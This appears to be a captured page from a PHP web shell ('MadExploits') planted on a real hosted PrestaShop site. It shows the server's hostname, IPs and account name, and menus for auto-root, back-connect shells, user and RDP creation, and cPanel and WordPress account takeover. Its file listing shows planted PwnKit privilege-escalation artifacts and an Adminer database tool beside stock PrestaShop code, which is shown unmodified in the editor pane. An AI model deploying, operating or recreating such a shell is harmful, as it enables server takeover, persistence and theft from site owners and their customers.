Linux webm004.cluster106.gra.hosting.ovh.net 5.15.167-ovh-vps-grsec-zfs-classid #1 SMP Tue Sep 17 08:14:20 UTC 2024 x86_64
Apache
: 10.106.20.4 | : 216.73.216.104
Cant Read [ /etc/named.conf ]
7.4.33
alinaousgg
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
home /
alinaousgg /
newmed /
src /
Adapter /
Shop /
[ HOME SHELL ]
Name
Size
Permission
Action
.pkexec
[ DIR ]
drwxr-xr-x
CommandHandler
[ DIR ]
drwx---r-x
GCONV_PATH=.
[ DIR ]
drwxr-xr-x
QueryHandler
[ DIR ]
drwx---r-x
Url
[ DIR ]
drwx---r-x
.mad-root
0
B
-rw-r--r--
Context.php
5.71
KB
-rw----r--
MaintenanceConfiguration.php
2.68
KB
-rw----r--
ShopInformation.php
1.86
KB
-rw----r--
ShopUrlDataProvider.php
2.3
KB
-rw----r--
adminer.php
465.43
KB
-rw-r--r--
pwnkit
10.99
KB
-rwxr-xr-x
Delete
Unzip
Zip
${this.title}
Close
Code Editor : Context.php
<?php /** * Copyright since 2007 PrestaShop SA and Contributors * PrestaShop is an International Registered Trademark & Property of PrestaShop SA * * NOTICE OF LICENSE * * This source file is subject to the Open Software License (OSL 3.0) * that is bundled with this package in the file LICENSE.md. * It is also available through the world-wide-web at this URL: * https://opensource.org/licenses/OSL-3.0 * If you did not receive a copy of the license and are unable to * obtain it through the world-wide-web, please send an email * to license@prestashop.com so we can send you a copy immediately. * * DISCLAIMER * * Do not edit or add to this file if you wish to upgrade PrestaShop to newer * versions in the future. If you wish to customize PrestaShop for your * needs please refer to https://devdocs.prestashop.com/ for more information. * * @author PrestaShop SA and Contributors <contact@prestashop.com> * @copyright Since 2007 PrestaShop SA and Contributors * @license https://opensource.org/licenses/OSL-3.0 Open Software License (OSL 3.0) */ namespace PrestaShop\PrestaShop\Adapter\Shop; use Context as LegacyContext; use PrestaShop\PrestaShop\Core\Multistore\MultistoreContextCheckerInterface; use PrestaShop\PrestaShop\Core\Shop\ShopContextInterface; use Shop; use ShopGroup; /** * This class will provide legacy shop context. */ class Context implements MultistoreContextCheckerInterface, ShopContextInterface { /** * Get shops list. * * @param bool $active * @param bool $get_as_list_id * * @return array */ public function getShops($active = true, $get_as_list_id = false) { return Shop::getShops($active, Shop::getContextShopGroupID(), $get_as_list_id); } /** * Get current ID of shop if context is CONTEXT_SHOP. * * @return int */ public function getContextShopID($null_value_without_multishop = false) { return Shop::getContextShopID($null_value_without_multishop); } /** * Get a list of ID concerned by the shop context (E.g. if context is shop group, get list of children shop ID). * * @param bool|string $share If false, dont check share datas from group. Else can take a Shop::SHARE_* constant value * * @return array */ public function getContextListShopID($share = false) { return Shop::getContextListShopID($share); } /** * Return the result of getContextListShopID() for customers usecase * This handles the "multishop sharing customer" feature setting * * @return array */ public function getContextListShopIDUsingCustomerSharingSettings() { $groupSettings = Shop::getGroupFromShop(Shop::getContextShopID(), false); if ($groupSettings['share_customer']) { return Shop::getContextListShopID(Shop::SHARE_CUSTOMER); } else { return Shop::getContextListShopID(); } } /** * Get if it's a GroupShop context. * * @return bool * * @deprecated since 1.7.6.0, to be removed in 1.8. Use $this->isGroupShopContext() instead. */ public function isShopGroupContext() { return $this->isGroupShopContext(); } /** * Get if it's a Shop context. * * @return bool */ public function isShopContext() { return Shop::getContext() === Shop::CONTEXT_SHOP; } /** * Get if it's a All context. * * @return bool * * @deprecated since 1.7.6.0, to be removed in 1.8. Use $this->isAllShopContext() instead. */ public function isAllContext() { return $this->isAllShopContext(); } /** * Check if shop context is Shop. * * @return bool */ public function isSingleShopContext() { if (!Shop::isFeatureActive()) { return true; } return $this->isShopContext(); } /** * Update Multishop context for only one shop. * * @param int $id Shop id to set in the current context */ public function setShopContext($id) { Shop::setContext(Shop::CONTEXT_SHOP, $id); } /** * Update Multishop context for only one shop group. * * @param int $id Shop id to set in the current context */ public function setShopGroupContext($id) { Shop::setContext(Shop::CONTEXT_GROUP, $id); } /** * Update Multishop context for only one shop group. * * @param int $id Shop id to set in the current context */ public function setAllContext($id) { Shop::setContext(Shop::CONTEXT_ALL, $id); } public function getContextShopGroup() { return Shop::getContextShopGroup(); } /** * Retrieve group ID of a shop. * * @param $shopId * @param bool $asId * * @return int */ public function getGroupFromShop($shopId, $asId = true) { return Shop::getGroupFromShop($shopId, $asId); } /** * @param $shopGroupId * * @return ShopGroup */ public function ShopGroup($shopGroupId) { return new ShopGroup($shopGroupId); } /** * {@inheritdoc} */ public function isAllShopContext() { return Shop::getContext() === Shop::CONTEXT_ALL; } /** * {@inheritdoc} */ public function isGroupShopContext() { return Shop::getContext() === Shop::CONTEXT_GROUP; } /** * Get list of all shop IDs. * * @return array */ public function getAllShopIds() { return Shop::getCompleteListOfShopsID(); } /** * {@inheritdoc} */ public function getShopName() { return LegacyContext::getContext()->shop->name; } }
Close